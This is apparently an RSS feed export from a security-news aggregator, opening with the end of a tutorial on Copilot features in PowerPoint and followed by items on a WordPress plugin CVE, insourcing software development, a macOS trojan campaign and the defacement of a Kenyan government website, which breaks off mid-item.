<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-04-attach-document.png?w=1024" alt="screenshot of copilot sidebar in powerpoint with a document being attached for copilot to base a presentation on" class="wp-image-4195062" width="1024" height="733" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Attaching a document for Copilot to base a presentation on.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">Then in the chat window, you can enter a prompt that’s as simple as “<em>Create a presentation</em>,” although as always, providing more details and context is better. This is especially important for corporate users who reference multiple source files. It’s useful to tell Copilot what data to pull from each document.</p>



<p class="wp-block-paragraph">Answer any follow-up questions that Copilot asks, and it will then generate the presentation.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-05-generated-presentation-from-doc.png?w=1024" alt="screenshot of powerpoint with a presentation generated by copilot from a document" class="wp-image-4195067" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Copilot has generated a professional presentation from a social media marketing campaign document.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">Note: Your marketing department may have created one or more <a href="https://support.microsoft.com/en-US/PowerPoint/copilot/keep-your-presentation-on-brand-with-copilot" target="_blank" rel="noreferrer noopener">branded company templates for Copilot to work from</a>. If that’s the case at your organization, simply open the appropriate company template as your first step. Then you can upload docs and type a prompt as described above. Copilot will create a presentation using the branded template.</p>



<h2 class="wp-block-heading"><a></a>3. Add content from a document to a slide</h2>



<p class="wp-block-paragraph">Manually copying text or other content from a document and pasting it into a new slide is a chore. Instead, you can prompt Copilot to extract information directly from a Word document, Excel spreadsheet, or PDF to create new slides.</p>



<p class="wp-block-paragraph">In the Copilot pane, attach the document using the same steps described in tip 2, then tell Copilot to create a slide from the document. As always, it helps to provide details such as the new slide’s focus or what data to include:</p>



<ul class="wp-block-list">
<li><em>Add a slide based on the attached document.</em></li>



<li><em>Use the attached file to add a slide about the project budget that focuses on Q1 projections.</em></li>



<li><em>Summarize only the financial section of the attached document as a slide.</em></li>
</ul>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-06-generated-slide-from-spreadsheet.png?w=1024" alt="screenshot of a slide in powerpoint generated by copilot from spreadsheet data" class="wp-image-4195068" width="1024" height="612" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>A new Copilot-generated slide based on data from an Excel spreadsheet.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<h2 class="wp-block-heading"><a></a><a></a>4. Refine your slide text</h2>



<p class="wp-block-paragraph">A presentation should be visual and display only the core message. Conciseness and proper writing tone are essential for your slides, so that they don’t lose the attention of your audience.</p>



<p class="wp-block-paragraph">You can prompt Copilot to refine text on an individual slide in various ways, such as rewriting it in a more professional tone or making it more concise. Highlight the text inside a text box on the slide. On the toolbar that appears over the highlighted text, click <em>Edit with Copilot</em>.</p>



<p class="wp-block-paragraph">On the menu that opens, you can select a preset prompt to refine the text, such as <em>Condense</em> or <em>Make professional</em>. Or, at the top of this menu, you can type a prompt to rewrite the highlighted text.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-07-refine-slide-text-options-menu.png" alt="screenshot of text on a powerpoint slide with copilot dropdown menu includng condense and make professional options" class="wp-image-4195066" width="960" height="690" sizes="auto, (max-width: 960px) 100vw, 960px"><figcaption class="wp-element-caption"><p>Choose a preset prompt for refining text on a slide or type in your own prompt.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">Note that this feature affects all the text inside the text box. To rewrite only a portion of text inside a text box, you must split that portion out into a separate text box.</p>



<p class="wp-block-paragraph">Alternatively, you can prompt Copilot to analyze your entire presentation and tighten up the wording throughout all of its slides. For example:</p>



<ul class="wp-block-list">
<li><em>Make these slides more visual and use less text.</em></li>
</ul>



<h2 class="wp-block-heading">5. Find or create an image</h2>



<p class="wp-block-paragraph">If you have Copilot generate a presentation from an existing Word document that contains images, it will incorporate those images into the presentation. If there are no images in the source document, you can ask Copilot to find or create one and add it to a slide.</p>



<p class="wp-block-paragraph">To add a stock image or an image from your organization’s brand library, tell Copilot what you’re looking for:</p>



<ul class="wp-block-list">
<li><em>Add a stock photo of young adults in a cafe drinking boba tea.</em></li>



<li><em>Add a photo from our asset library of young adults in a cafe drinking boba tea.</em></li>
</ul>



<p class="wp-block-paragraph">To have Copilot create an image using Microsoft’s Designer image generation tool, describe your desired image. As always, specificity is helpful:</p>



<ul class="wp-block-list">
<li><em>Create a photorealistic image of a diverse group of 5 or 6 fashionable young adults sitting in a cafe drinking boba tea. They’re smiling or laughing, and some are looking at their phones.</em></li>
</ul>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-08-generate-image.png?w=1024" alt="screenshot of image generation prompt in copilot sidebar in powerpoint plus the resulting generated image on a slide" class="wp-image-4195097" width="1024" height="594" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Copilot in PowerPoint hooks into Microsoft’s Designer tool for image generation.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">Just as you need to review any text output from Copilot, take a close look at generated images to be sure nothing looks off. </p>



<p class="wp-block-paragraph">Also note that Copilot image generation isn’t always reliable in PowerPoint. For some time during our testing for this story, Copilot said it couldn’t create an image because “the image generation service is returning a server error on every attempt.” After about a day and a half, the service began working again.</p>



<h2 class="wp-block-heading"><a></a>6. Expand your presentation with relevant slides</h2>



<p class="wp-block-paragraph">As you’re building your presentation, you may find that it’s become text heavy. Or perhaps it could use more visually oriented slides to break things up and make its progression flow better. Copilot can generate and insert new slides that are based on the content of the slides already in the presentation.</p>



<p class="wp-block-paragraph">In the Copilot pane, specify exactly where you want the new slide to go. This helps Copilot to analyze the content of the slides before and after where you want the new slide. Then it can generate a slide to bridge between the two slides. Examples:</p>



<ul class="wp-block-list">
<li><em>Add a slide after slide 3 about our competitive advantages.</em></li>



<li><em>Add a slide after slide 11 that transitions to slide 12.</em></li>
</ul>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-09-generated-transition-slide.png?w=1024" alt="screenshot of powerpoint screen with copilot sidebar and a transition slide generated by copilot" class="wp-image-4195094" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Need a transition slide? Just ask!</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<h2 class="wp-block-heading">7. Summarize a presentation</h2>



<p class="wp-block-paragraph">Maybe you need a quick refresh of your presentation before an important meeting. Or maybe a co-worker has sent you a presentation that’s packed with lots of slides. You can prompt Copilot to generate a summary of the presentation’s overall messaging.</p>



<p class="wp-block-paragraph">In the Copilot pane, just type “<em>summarize this presentation</em>.” You can also have Copilot flag key slides that contain important information: “<em>show me key slides</em>.”</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-10-summarize-key-slides.png?w=1024" alt="screenshots of copilot sidebar in powerpoint - one with summarize results and one with key slides response" class="wp-image-4195095" width="1024" height="774" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Ask Copilot to summarize a presentation or flag key slides.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<h2 class="wp-block-heading"><a></a>8. Answer questions about a presentation</h2>



<p class="wp-block-paragraph">As you’re reviewing a presentation, especially one that you didn’t create and are not familiar with, you can get Copilot to pull key data points from its slides.</p>



<p class="wp-block-paragraph">In the Copilot pane, type specific informational questions. Examples:</p>



<ul class="wp-block-list">
<li><em>What are the action items in this deck?</em></li>



<li><em>What is the proposed budget mentioned here?</em></li>
</ul>



<p class="wp-block-paragraph">If Copilot can’t find the exact answer to the question you ask, it will provide related information from the presentation.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-11-ask-questions-about-presentation.png?w=1024" alt="screenshot of copilot sidebar in powerpoint with response to query about proposed budget in the slide deck" class="wp-image-4195093" width="1024" height="760" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Ask Copilot specific questions about the contents of a presentation.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">This method can also help you validate that your presentation includes everything you want it to. If you ask Copilot about the action items in a presentation and it can’t find any, you know you need to add them. (Copilot will likely offer to generate them for you based on the rest of the slides.)</p>



<p class="wp-block-paragraph">You can even take this tactic a step further and ask Copilot if the presentation is missing any important data, if any slides are weak or confusing, if there are any awkward transitions, if there are key points that should be better emphasized, and so on.</p>



<h2 class="wp-block-heading"><a></a>9. Help you navigate a large presentation</h2>



<p class="wp-block-paragraph">In the business world, presentations with dozens of slides are not uncommon, such as for financial reports or project documentation. Trying to find a specific slide or multiple slides can be tough. Copilot can help you navigate such a presentation.</p>



<p class="wp-block-paragraph">In the Copilot pane, prompt Copilot to find slides based on specific topics. Example:</p>



<ul class="wp-block-list">
<li><em>Show me the slides about the project timeline.</em></li>
</ul>



<p class="wp-block-paragraph">Copilot will analyze the presentation and reply with a list of links to the relevant slides. Click one of these to jump directly to that slide.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-12-navigate-presentation.png?w=1024" alt="screenshot of copilot sidebar in powerpoint with response about the slide that talks about target audience" class="wp-image-4195096" width="1024" height="760" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Copilot can help you zoom directly to a slide that covers a particular topic or shows specific data.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<h2 class="wp-block-heading"><a></a>10. Generate speaker notes and/or an FAQ</h2>



<p class="wp-block-paragraph">Here’s a great timesaver when you’re preparing to show your presentation to an audience: Copilot can automatically generate suggested speaker notes for you, based on the content of your slides. Example prompt:</p>



<ul class="wp-block-list">
<li><em>Write speaker notes for every slide with one talking point per slide.</em></li>
</ul>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-13-speaker-notes.png?w=1024" alt="screenshot of powerpoint presentation with speaker notes generated by copilot" class="wp-image-4195092" width="1024" height="607" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Copilot can create speaker notes in seconds.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">In a related feature, Copilot can create a frequently asked questions list (FAQ) for you to consult in your speaker notes or to present as a slide:</p>



<ul class="wp-block-list">
<li><em>Write an FAQ for these slides.</em></li>
</ul>



<p class="wp-block-paragraph">Copilot will ask where you want the questions and answers added — as a new slide at the end, integrated into the speaker notes of relevant slides, or somewhere else that you designate. Make a selection, and Copilot will generate the FAQ based on the content of your presentation.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-14-generated-faq-slide.png?w=1024" alt="screenshot of frequently asked questions slide generated by copilot in powerpoint" class="wp-image-4195091" width="1024" height="609" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>A Copilot-generated FAQ slide.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<h4 class="wp-block-heading"><strong>Related reading:</strong></h4>



<ul class="wp-block-list">
<li><a href="https://www.computerworld.com/article/4119411/11-cool-things-copilot-can-do-in-excel.html">11 cool things Copilot can do in Excel</a></li>



<li><a href="https://www.computerworld.com/article/4022584/9-ways-copilot-can-turbocharge-onenote.html">9 ways Copilot can turbocharge OneNote</a></li>



<li><a href="https://www.computerworld.com/article/1647230/powerpoint-for-microsoft-365-cheat-sheet.html">PowerPoint for Microsoft 365 cheat sheet</a></li>



<li><a href="https://www.computerworld.com/article/4171293/copilot-chat-your-hub-for-document-creation-and-analysis.html">Copilot Chat: Your hub for document creation and analysis</a></li>



<li><a href="https://www.computerworld.com/article/4067372/how-to-curb-hallucinations-in-copilot-and-other-genai-tools.html">How to curb hallucinations in Copilot (and other genAI tools)</a></li>



<li><a href="https://www.computerworld.com/article/3479705/how-to-use-microsoft-copilot-for-writing-in-microsoft-365-word-outlook-onenote.html">Microsoft Copilot can boost your writing in Word, Outlook, and OneNote — here’s how</a></li>



<li><a href="https://www.computerworld.com/article/1682358/microsoft-cheat-sheets-dive-into-windows-and-office-apps.html">More Microsoft tips and tutorials</a></li>
</ul>



<p class="wp-block-paragraph"></p>
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<title><![CDATA[CVE-2026-14322 | Timetics Plugin up to 1.0.56 on WordPress Booking Creation access control (EUVD-2026-47614)]]></title>
<description><![CDATA[A vulnerability, which was classified as problematic, was found in Timetics Plugin up to 1.0.56 on WordPress. This affects an unknown function of the component Booking Creation. Executing a manipulation can lead to improper access controls.

This vulnerability appears as CVE-2026-14322. The attac...]]></description>
<link>https://tsecurity.de/de/3686047/sicherheitsluecken/cve-2026-14322-timetics-plugin-up-to-1056-on-wordpress-booking-creation-access-control-euvd-2026-47614/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686047/sicherheitsluecken/cve-2026-14322-timetics-plugin-up-to-1056-on-wordpress-booking-creation-access-control-euvd-2026-47614/</guid>
<pubDate>Wed, 22 Jul 2026 13:03:39 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability, which was classified as <a href="https://vuldb.com/kb/risk">problematic</a>, was found in <a href="https://vuldb.com/product/timetics_plugin">Timetics Plugin up to 1.0.56</a> on WordPress. This affects an unknown function of the component <em>Booking Creation</em>. Executing a manipulation can lead to improper access controls.

This vulnerability appears as <a href="https://vuldb.com/cve/CVE-2026-14322">CVE-2026-14322</a>. The attack may be performed from remote. There is no available exploit.]]></content:encoded>
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<title><![CDATA[From outsourcing to ownership: How we brought development in-house without breaking delivery]]></title>
<description><![CDATA[Outsourcing worked – until it didn’t.



After Akirolabs achieved early market validation and onboarded its first enterprise customers, outsourcing began to create strategic limitations around scalability, intellectual property (IP) ownership, security and delivery execution.



The challenges st...]]></description>
<link>https://tsecurity.de/de/3685759/it-security-nachrichten/from-outsourcing-to-ownership-how-we-brought-development-in-house-without-breaking-delivery/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685759/it-security-nachrichten/from-outsourcing-to-ownership-how-we-brought-development-in-house-without-breaking-delivery/</guid>
<pubDate>Wed, 22 Jul 2026 11:11:54 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Outsourcing worked – until it didn’t.</p>



<p class="wp-block-paragraph">After Akirolabs achieved early market validation and onboarded its first enterprise customers, outsourcing began to create strategic limitations around scalability, intellectual property (IP) ownership, security and delivery execution.</p>



<p class="wp-block-paragraph">The challenges started after the first enterprise customers confirmed product-market fit. At that point, delivery speed became directly tied to business growth. Product quality expectations increased. Infrastructure and security requirements became stricter. Investors started asking difficult but<a href="https://www.cio.com/article/4069909/10-outsourcing-strategy-questions-every-it-leader-must-answer.html"> </a><a href="https://www.cio.com/article/4069909/10-outsourcing-strategy-questions-every-it-leader-must-answer.html">fair questions</a> about IP ownership, operational dependencies and long-term scalability.</p>



<p class="wp-block-paragraph">Most importantly, engineering execution was no longer just an operational function – it became part of the company’s strategic advantage. That was the moment when the founders decided the company needed dedicated technology leadership to address these challenges. This is how I joined the company at the beginning of 2023. As VP of Engineering and a bit later as CTO, I led the transformation (usually known as<a href="https://www.cio.com/article/272355/outsourcing-outsourcing-definition-and-solutions.html"> </a><a href="https://www.cio.com/article/272355/outsourcing-outsourcing-definition-and-solutions.html">insourcing, repatriating or backsourcing</a>) from an outsourced model to an internal engineering organization while maintaining product delivery continuity and preparing the company for the next growth stage. The process took roughly a year and involved not only technical migration, but also organizational design, hiring, process development, infrastructure modernization and cultural transformation – everything from the ground up.</p>



<h2 class="wp-block-heading">Building an internal engineering organization while still delivering</h2>



<p class="wp-block-paragraph">One of the biggest misconceptions about insourcing is that it is primarily a technical project. It is a leadership and execution challenge.</p>



<p class="wp-block-paragraph">When I joined the company, there was effectively no internal engineering structure, limited visibility into the existing system and no clear long-term technical strategy. My first months were dedicated to understanding reality and I began with a comprehensive assessment of the codebase, operational risks, documentation quality and knowledge dependencies to determine the most viable transition strategy.</p>



<p class="wp-block-paragraph">Very early in the process, I faced a critical strategic decision: whether to gradually assume ownership of the existing platform or rebuild it internally. To make that decision, I evaluated four distinct transition models ranging from limited management insourcing to a complete internal rebuild.</p>



<p class="wp-block-paragraph">After assessing the technical, operational and long-term business implications of each approach, I selected the most demanding option: rebuilding the product internally while maintaining uninterrupted delivery for existing customers. Although riskier in the short term, a full rebuild offered the clearest route to complete IP ownership, architectural flexibility and long-term scalability.</p>



<p class="wp-block-paragraph">At the time, this decision ran counter to the approach typically taken by startups in similar situations. Most organizations gradually assume ownership of an existing codebase to minimize short-term risk and preserve delivery capacity. My assessment was that the accumulated architectural debt, fragmented knowledge distribution and long-term maintenance risks would ultimately make a phased takeover more expensive and less scalable than a controlled rebuild. The strategy required significantly higher execution discipline, but it allowed us to establish complete ownership of the platform, eliminate inherited constraints and create an architecture capable of supporting enterprise-scale growth.</p>



<p class="wp-block-paragraph">The next challenge was hiring.</p>



<p class="wp-block-paragraph">In Germany, hiring can easily take four to six months – mostly due to a typical 3-month notice period, which is incompatible with startup timelines. We solved this by building a hybrid organization structure early: a lean internal core team combined with carefully selected contractors. Instead of hiring only narrow specialists, we prioritized experienced generalists capable of operating across architecture, infrastructure, security and compliance discussions. Later, we evolved toward a<a href="https://docs.google.com/document/d/1uSc1o6hdJ5AweCsjcLzo3JAzvq1q-7ALl1MPMNWx2sQ/edit?usp=sharing"> </a><a href="https://docs.google.com/document/d/1uSc1o6hdJ5AweCsjcLzo3JAzvq1q-7ALl1MPMNWx2sQ/edit?usp=sharing">product engineering model</a>, where engineers owned broader product outcomes rather than narrowly defined technical functions.</p>



<p class="wp-block-paragraph">During the first three months, we established a core engineering team of four senior engineers. Over the following nine months, the organization expanded to roughly fifteen engineers while I strategically designed and executed the transformation of the platform’s architecture to meet the rigorous deployment and compliance standards of our first enterprise clients, including Raiffeisen Bank International and Bertelsmann. This structural overhaul allowed the company to meet the deployment, security and compliance requirements of enterprise customers that had previously been inaccessible under the outsourced model. At that point, we had already achieved complete coverage across backend, frontend, DevOps, QA and security.</p>



<p class="wp-block-paragraph">I also intentionally kept processes lightweight during the transition. Instead of introducing heavyweight frameworks, we focused on clarity of priorities, fast decision-making and execution discipline. We used Kanban over Scrum, eliminated unnecessary meetings, shortened the remaining ones and emphasized engineering culture over process overhead.</p>



<p class="wp-block-paragraph">Another major challenge was project estimation. Because dual-track development was unavoidable until the in-house platform reached production readiness, estimation accuracy had a direct impact on budget efficiency. Despite all challenges, my initial estimate ultimately proved remarkably close to the final delivery date, differing by only about a week. Accurate forecasting under conditions of parallel development streams, ongoing customer commitments and active team formation became a critical leadership challenge. Maintaining this level of predictability throughout the transition helped align engineering execution with business planning, hiring decisions and investor expectations.</p>



<p class="wp-block-paragraph">The engineering transformation enabled capabilities that contributed to Akirolabs being recognized as an IDC Innovator in Procurement in 2023, named amongst the Top 27 AI Startups in Germany in 2024, Sifted’s 100 Fastest-Growing Startups in DACH &amp; CEE 2025 and inclusion in 2024-2026 in ProcureTech100 annual recognition of procurement technology providers shaping the future of digital procurement.</p>



<h2 class="wp-block-heading">Managing risk without slowing down the business</h2>



<p class="wp-block-paragraph">The hardest part of insourcing is not writing code, selecting the technology stack, designing architecture or configuring infrastructure. It is avoiding disruption while the company is changing underneath the product. I successfully orchestrated the concurrent overhaul of product architecture, cross-functional engineering recruitment, infrastructure modernization and live customer operations under exceptionally tight margins.</p>



<p class="wp-block-paragraph">To reduce delivery risk, we approached the transition in layers.</p>



<p class="wp-block-paragraph">First, we focused on<a href="https://platformengineering.com/features/the-platform-centric-shift-why-enterprise-ai-teams-need-internal-ai-platforms-not-more-engineers/"> </a><a href="https://platformengineering.com/features/the-platform-centric-shift-why-enterprise-ai-teams-need-internal-ai-platforms-not-more-engineers/">infrastructure reliability and operational readiness</a> before feature expansion. Cloud architecture, recovery testing, permission segregation and incident management processes were implemented early, not after launch. We also introduced multiple testing stages and dedicated QA functions after learning the hard way that a “developers-only” quality control approach does not scale for complex web platforms and business domains.</p>



<p class="wp-block-paragraph">Second, we established a structured knowledge-transfer process to rapidly onboard engineers and reduce external dependencies.</p>



<p class="wp-block-paragraph">Third, we became extremely disciplined about scope management. One of the most common reasons<a href="https://www.cio.com/article/244453/whether-outsourcing-or-insourcing-cios-need-control.html"> </a><a href="https://www.cio.com/article/244453/whether-outsourcing-or-insourcing-cios-need-control.html">insourcing initiatives fail is uncontrolled change</a> during the rebuild phase. Every new feature request increases uncertainty non-linearly. We learned to separate strategic improvements from distractions and protect the core delivery roadmap aggressively. Throughout the transition, we successfully maintained uninterrupted customer operations by utilizing planned maintenance windows, achieved a near-zero-downtime migration and permanently doubled product velocity immediately following the migration.</p>



<p class="wp-block-paragraph">Beyond the technical migration itself, the transition established a repeatable operating model for scaling technology organizations beyond the product-market-fit stage. The framework combined organizational redesign, controlled knowledge repatriation, architecture modernization and enterprise-grade operational practices while maintaining uninterrupted customer delivery throughout the transformation. While the implementation was specific to Akirolabs, the underlying principles are broadly applicable to organizations seeking to transition from outsourced development to internal product ownership without disrupting business operations.</p>



<p class="wp-block-paragraph">By the time the new platform reached production readiness, I had established not only a functioning engineering organization, but also a stable operational model: internal ownership, production-grade infrastructure, security processes, scalable hiring practices and clear technology and product roadmaps.</p>



<p class="wp-block-paragraph">A positive side effect of the transition was the creation of internal UI/UX and Data Science capabilities, which later became strategically important for AI product initiatives and created a foundation for the third version of the product, which we released in mid-2025.</p>



<p class="wp-block-paragraph">My technical restructuring and migration to a secure proprietary platform reduced architectural risk, established full in-house ownership and helped strengthen investor confidence during the company’s successful €5M fundraising round in 2024.</p>



<p class="wp-block-paragraph">The transition created a stronger foundation for scale and supported the company’s continued expansion among enterprise organizations operating at Fortune 500 scale, including Ahold Delhaize, Workday, IFF, Deutsche Bahn and others.</p>



<h2 class="wp-block-heading">Lessons learned for CTOs considering insourcing</h2>



<p class="wp-block-paragraph">Looking back, several decisions made the transition successful, and several mistakes made it harder than necessary.</p>



<p class="wp-block-paragraph">The first lesson is simple: decisiveness in strategic transition is paramount to maintaining business momentum. Rapidly evaluating insourcing frameworks and defining clear boundaries with the external partner allowed us to mitigate operational downtime and execute a highly efficient migration ahead of critical market deadlines.</p>



<p class="wp-block-paragraph">Second, hire more senior people and do it as early as possible. Strong technical leaders multiply execution capacity far beyond their individual contribution. In our case, the quality of the first hires influenced architecture quality, hiring standards, delivery discipline and engineering culture for the entire organization.</p>



<p class="wp-block-paragraph">Finally, culture matters more than frameworks. Processes can be added later. Ownership mentality cannot.</p>



<p class="wp-block-paragraph">The biggest long-term advantage of bringing development in-house was not simply faster execution, not better code quality or operational cost optimization by over 30% after the transition which we also achieved. It was an alignment. Product strategy, engineering decisions, customer priorities and business goals became part of the same conversation instead of being separated by organizational boundaries. For technology companies operating in highly competitive markets, that alignment becomes a compounding advantage over time.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[GolangGhost Steals Chrome Secrets From macOS Keychain and Hijacks MetaMask Permissions]]></title>
<description><![CDATA[A new malware campaign is targeting cryptocurrency and Web3 professionals through fake job interviews. The operation delivers GolangGhost, a remote access trojan that can steal browser credentials, collect wallet data, and give attackers control of infected macOS systems. The attackers…
Read more...]]></description>
<link>https://tsecurity.de/de/3685533/it-security-nachrichten/golangghost-steals-chrome-secrets-from-macos-keychain-and-hijacks-metamask-permissions/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685533/it-security-nachrichten/golangghost-steals-chrome-secrets-from-macos-keychain-and-hijacks-metamask-permissions/</guid>
<pubDate>Wed, 22 Jul 2026 09:37:44 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A new malware campaign is targeting cryptocurrency and Web3 professionals through fake job interviews. The operation delivers GolangGhost, a remote access trojan that can steal browser credentials, collect wallet data, and give attackers control of infected macOS systems. The attackers…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/golangghost-steals-chrome-secrets-from-macos-keychain-and-hijacks-metamask-permissions/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/golangghost-steals-chrome-secrets-from-macos-keychain-and-hijacks-metamask-permissions/">GolangGhost Steals Chrome Secrets From macOS Keychain and Hijacks MetaMask Permissions</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[GolangGhost Steals Chrome Secrets From macOS Keychain and Hijacks MetaMask Permissions]]></title>
<description><![CDATA[A new malware campaign is targeting cryptocurrency and Web3 professionals through fake job interviews. The operation delivers GolangGhost, a remote access trojan that can steal browser credentials, collect wallet data, and give attackers control of infected macOS systems. The attackers pose as re...]]></description>
<link>https://tsecurity.de/de/3685497/it-security-nachrichten/golangghost-steals-chrome-secrets-from-macos-keychain-and-hijacks-metamask-permissions/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685497/it-security-nachrichten/golangghost-steals-chrome-secrets-from-macos-keychain-and-hijacks-metamask-permissions/</guid>
<pubDate>Wed, 22 Jul 2026 09:16:43 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A new malware campaign is targeting cryptocurrency and Web3 professionals through fake job interviews. The operation delivers GolangGhost, a remote access trojan that can steal browser credentials, collect wallet data, and give attackers control of infected macOS systems. The attackers pose as recruiters, offer attractive roles, and direct targets to fake online skill assessments. At […]</p>
<p>The post <a href="https://cybersecuritynews.com/golangghost-steals-chrome-secrets/">GolangGhost Steals Chrome Secrets From macOS Keychain and Hijacks MetaMask Permissions</a> appeared first on <a href="https://cybersecuritynews.com/">Cyber Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Hackers Deface Kenya President William Ruto’s Website, Demand $330K Ransom]]></title>
<description><![CDATA[Kenya is investigating a Kenya cyberattack that temporarily defaced President William Ruto’s official website with an anti-government message and a Bitcoin ransom demand for five bitcoins, reportedly worth about $330,000. The attackers replaced the website’s homepage with the message, displayed a...]]></description>
<link>https://tsecurity.de/de/3685406/it-security-nachrichten/hackers-deface-kenya-president-william-rutos-website-demand-330k-ransom/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685406/it-security-nachrichten/hackers-deface-kenya-president-william-rutos-website-demand-330k-ransom/</guid>
<pubDate>Wed, 22 Jul 2026 08:23:18 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1536" height="1024" src="https://thecyberexpress.com/wp-content/uploads/Kenya-Cyberattack-Defaces-Ruto-Website.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="Kenya Cyberattack Defaces Ruto Website" decoding="async" srcset="https://thecyberexpress.com/wp-content/uploads/Kenya-Cyberattack-Defaces-Ruto-Website.webp 1536w, https://thecyberexpress.com/wp-content/uploads/Kenya-Cyberattack-Defaces-Ruto-Website-300x200.webp 300w, https://thecyberexpress.com/wp-content/uploads/Kenya-Cyberattack-Defaces-Ruto-Website-1024x683.webp 1024w, https://thecyberexpress.com/wp-content/uploads/Kenya-Cyberattack-Defaces-Ruto-Website-768x512.webp 768w, https://thecyberexpress.com/wp-content/uploads/Kenya-Cyberattack-Defaces-Ruto-Website-600x400.webp 600w, https://thecyberexpress.com/wp-content/uploads/Kenya-Cyberattack-Defaces-Ruto-Website-150x100.webp 150w, https://thecyberexpress.com/wp-content/uploads/Kenya-Cyberattack-Defaces-Ruto-Website-750x500.webp 750w, https://thecyberexpress.com/wp-content/uploads/Kenya-Cyberattack-Defaces-Ruto-Website-1140x760.webp 1140w, https://thecyberexpress.com/wp-content/uploads/Kenya-Cyberattack-Defaces-Ruto-Website.webp 1536w, https://thecyberexpress.com/wp-content/uploads/Kenya-Cyberattack-Defaces-Ruto-Website-300x200.webp 300w, 